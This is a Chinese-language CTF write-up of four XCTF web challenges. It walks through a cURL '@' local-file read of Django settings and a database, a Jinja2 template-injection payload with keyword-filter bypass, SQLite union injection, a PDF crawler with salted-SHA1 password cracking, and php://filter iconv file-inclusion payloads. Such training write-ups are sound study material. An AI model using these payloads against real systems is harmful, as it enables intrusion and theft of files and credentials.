【攻防世界】学习记录-web(系数4)

【攻防世界】学习记录-web(系数4)

目录

    • 0072 Cat
    • 0097 Confusion1
    • 0223 FlatScience
    • 0992 题目名称-文件包含

0072 Cat

题目:XCTF-4th-WHCTF-2017
解答:ping命令。

在这里插入图片描述

使用;|都会返回提示Invalid url,&&倒是不返回无效,但是也并没有执行结果,那就不能从rce的角度去思考。

题目说Cloud Automated Testing云拨测,网站是PHP,云端不一定,尝试让它报错看看。

看url地址处,输入的符号会进行url编码。那么尝试输入宽字节使其报错,输入%80以上都可以,%80也可。

根据返回的信息可知,云端使用的是python。

在这里插入图片描述

使用的框架是Django框架。

在这里插入图片描述

为了便于观看,把这段html代码复制下来,在本地看一下。可知项目的绝对路径是/opt/api

在这里插入图片描述

这里说是比赛的时候有个提示:关于pup curl的

RTFM of PHP CURL===>>read the fuck manul of PHP CURL???

让我们去读php手册中关于cURL的部分。

php中使用curl时通过curl_setopt()设置cURL传输选项。

bool curl_setopt( resource $ch, int $option, mixed $value)

主要看value能被设置的option选项,我们输入的是域名或者ip,查看string部分。

在这里插入图片描述

发现CURLOPT_POSTFIELDS,使用@进行文件传递,对文件进行读取。
@在本题中并没有被过滤了。

在这里插入图片描述

根据刚才的报错信息,就可以拿到数据库名字。因为它把Settings也显示出来了。

在这里插入图片描述

或者可以读取一下settings.py文件。

django项目的配置文件settings.py中设置了网站的数据库路径(django默认使用的是sqlites数据库),还定义的一些全局变量等等信息。

读取settings.py文件。它一般在项目的项目名文件夹下,项目的绝对路径是/opt/api,那么再加个api即可。
url=@/opt/api/api/settings.py
还是复制出来然后本地看一下,在post或者file部分就是settings.py的内容了。

在这里插入图片描述

可以复制出来,把\n替换成回车,看着会更清晰一些。

在这里插入图片描述

url=@/opt/api/database.sqlite3,获取数据库内容,发现flag在最后。
WHCTF{yoooo_Such_A_G00D_@}

在这里插入图片描述


0097 Confusion1

题目:XCTF-4th-QCTF-2018
某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

解答:“最好的语言”,大概率和模板注入有关。

测试了一下,确认是模板注入,Jinja2或Twig模板引擎。根据题目Alice对php最好语言的不赞同,应该是jinja2模板。

在这里插入图片描述

这里看一下源码:告诉了flag的位置。

在这里插入图片描述

打算看一下类,发现有过滤,把class、mro都过滤了。
{{''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述

尝试通过字符串拼接绕过:{{session['__cla'+'ss__']}},可行。

在这里插入图片描述

看看request有没有被过滤,没有。可用{{''[request.args.a]}}?&a=__class__

在这里插入图片描述

因为已经知道flag的文件名了,可以直接用file读取,位置40。
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

在这里插入图片描述

payload{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

在这里插入图片描述


0223 FlatScience

题目:Hack.lu-2017
解答:开篇先看一下robots.txt,发现两个php页面。

在这里插入图片描述

访问都是登录框,看源码发现提示:login.php提示了参数。

在这里插入图片描述

admin页面,是个用户登录,提示不要想着绕过。

在这里插入图片描述

login页面加上参数访问,出现了源码。

在这里插入图片描述

根据代码可知,数据库是SQLite,输入的user是直接拼接到sql语句中的,所以可以进行注入,并且服务器会将查询到的结果存储到$row中,然后其中name的值存放到cookie中。那么也就确定了回显位置。

SQLite的全局模式表是sqlite_master,存放了数据库所有表、视图、索引、触发器等。注释符是--

  • type 记录项目的类型,如table
  • name 记录项目的名称,如表名、索引名等
    查表:select name from sqlite_master where type = ‘table’ order by name;
    查表信息:select * from sqlite_master where type=’table’ and name=‘表名’
  • sql 记录创建该项目的SQL语句

查看创建时的sql语句:usr='%20union%20select%201,group_concat(sql)%20from%20sqlite_master--&pw=1
从cookie反馈信息可以看到:用户表名为Users,具有id、name、password、hint四个表项。
或者这样写也可以:usr='%20union%20select%201,sql%20from%20sqlite_master%20where%20type='table'%20and%20name='Users'--&pw=1

在这里插入图片描述

这里要说一下,有一些wp里写的语句是usr=' union select name,sql from sqlite_master--&pw=1,这个语句刚好能输出的结果,但是如果把name改为1,就不能得到的我们想要的结果了,但是按照逻辑应该是可以出结果,毕竟第一个位置又不负责回显。

那么为什么没有出结果呢~其实是排序问题。(对sql了解的应该很清楚这其中的逻辑)

我本地没有sqlite数据库,所以找了个线上的测试。地址附上,有兴趣的可以自己测试一下。

第一次我们先select name,sql,第一列的内容不一样,所以排序依据第一列。

在这里插入图片描述

第二次我们测试select 1,sql,第一列内容一样,所以依据的是第二列的内容进行排序。

在这里插入图片描述

这样就理解为什么有些博主的wp里一定要带上name了,带了name才能刚好让第一行是我们需要的内容。总的来说,一般还是用group_concat()包裹一下更省心。
啰嗦结束,继续做题~

接下来,分别查询name,password,hint
usr='%20union%20select%20id,hint%20from%20Users--&pw=1
提示说他最喜欢的word在他最喜欢的paper里

在这里插入图片描述

返回最开始的页面,有很多可以下载的pdf文件。根据提示,密码应该就藏在论文中,所以我们需要爬取站点所有pdf并转换为txt,逐一比对爆破。

在这里插入图片描述

脚本:(这道题做的比较早期,当时找的网上脚本,最开始的出处没有找到)

import urllib.request
import re
allHtml=[]
count=0
pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html=re.compile("href=\"[0-9]/index\.html\"")
def my_reptile(url_root,html):
    global pat_pdf
    global pat_html
    html=url_root+html
    if(isnew(html)):
        allHtml.append(html)
        print("[*]starting to crawl site:{}".format(html))
        with urllib.request.urlopen(html) as f:
            response=f.read().decode('utf-8')
        pdf_url=pat_pdf.findall(response)
        for p in pdf_url:
            p=p[6:len(p)-1]
            download_pdf(html+p)
        html_url=pat_html.findall(response)
        for h in html_url:
            h=h[6:len(h)-11]
            my_reptile(html,h)
def download_pdf(pdf):
    global count
    fd=open('.\\FlatScience\\'+str(count)+'.pdf','wb') 
    count+=1
    print("[+]downloading pdf from site:{}".format(pdf))
    with urllib.request.urlopen(pdf) as f:
        fd.write(f.read())
    fd.close()
def isnew(html):
    global allHtml
    for h in allHtml:
        if(html==h):
            return False
    return True
if __name__=="__main__":
    my_reptile("http://61.147.171.105:53749/",'')

在这里插入图片描述

from io import StringIO
#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request
def get_pdf():
    return [i for i in os.listdir("./FlatScience/") if i.endswith("pdf")]
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    #codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr,laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()
    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)
    text = retstr.getvalue()
    fp.close()
    device.close()
    retstr.close()
    return text
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./FlatScience/"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()
if __name__ == "__main__":
    find_password()

在这里插入图片描述

知道了admin的密码为ThinJerboa。访问admin.php页面登录即可得到flag。

在这里插入图片描述


0992 题目名称-文件包含

题目:泰山杯

在这里插入图片描述

解答:文件包含,有个check,不知道过滤了什么,先用常用的伪协议测试一下,提示hack。

在这里插入图片描述

那么看一下是不是filter被过滤了:测试发现可以用,那么目前可知Conversion Filters(转换过滤器)的base64的不能用。
(过滤器还有很多,在ctfshow的web117里我有附上一些链接,这里再附一下:php://filter的各种过滤器)

在这里插入图片描述

经过测试, String Filters(字符串过滤器)和Compression Filters(压缩过滤器)都不行,hack。继续看一下Conversion Filters(转换过滤器),quoted也不可以,hack。
还剩下convert.iconv.*,

测试提示过滤器使用正确,但是使用不对。(这里应该是以黑名单形式设置的,黑名单以外的过滤器都认为是right)

在这里插入图片描述

过滤器的使用格式:

convert.iconv.<input-encoding>.<output-encoding>
#或者
convert.iconv.<input-encoding>/<output-encoding>

编码方式有:
UCS-4*UCS-4BEUCS-4LE*UCS-2UCS-2BEUCS-2LEUTF-32*UTF-32BE*UTF-32LE*UTF-16*UTF-16BE*UTF-16LE*UTF-7UTF7-IMAPUTF-8*ASCII*等。(官方手册)

UCS-2LE的编码不行,那就逐一测试一下,第一个UCS-4*就可以

在这里插入图片描述

继续找下一个:UCS-4LE*

在这里插入图片描述

读取flag.php
?filename=php://filter//convert.iconv.UCS-4*.UCS-4LE*/resource=flag.php

在这里插入图片描述

再转换一下,即可获取flag:(或者本地起个服务,包含读取这段字符串,php://filter//convert.iconv转换一下顺序即可)

<?php
$result = iconv("UCS-4","UCS-4LE", "hp?<// pebycaeprd{ecde75e7188b63ef2dc000fe9ebe81}6d3");
echo "payload:".$result."\n";
?>
#payload:<?php //cyberpeace{d57ed817e36b8d2fe000ce9ef18eb3d6}

其他的payload(下面的这些直接就出flag了,也不用再转换):
(在编码方式选择上可以多测试,如果没有返回结果的,可能是因为转换过程中遇到非法字符,返回 false了)

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?filename=php://filter//convert.iconv.UTF-7.UCS-4*/resource=flag.php
?filename=php://filter//convert.iconv.EUC-JP*.UCS-4*/resource=flag.php
                       

点击阅读全文

上一篇 2023年 5月 27日 am11:08
下一篇 2023年 5月 27日 am11:09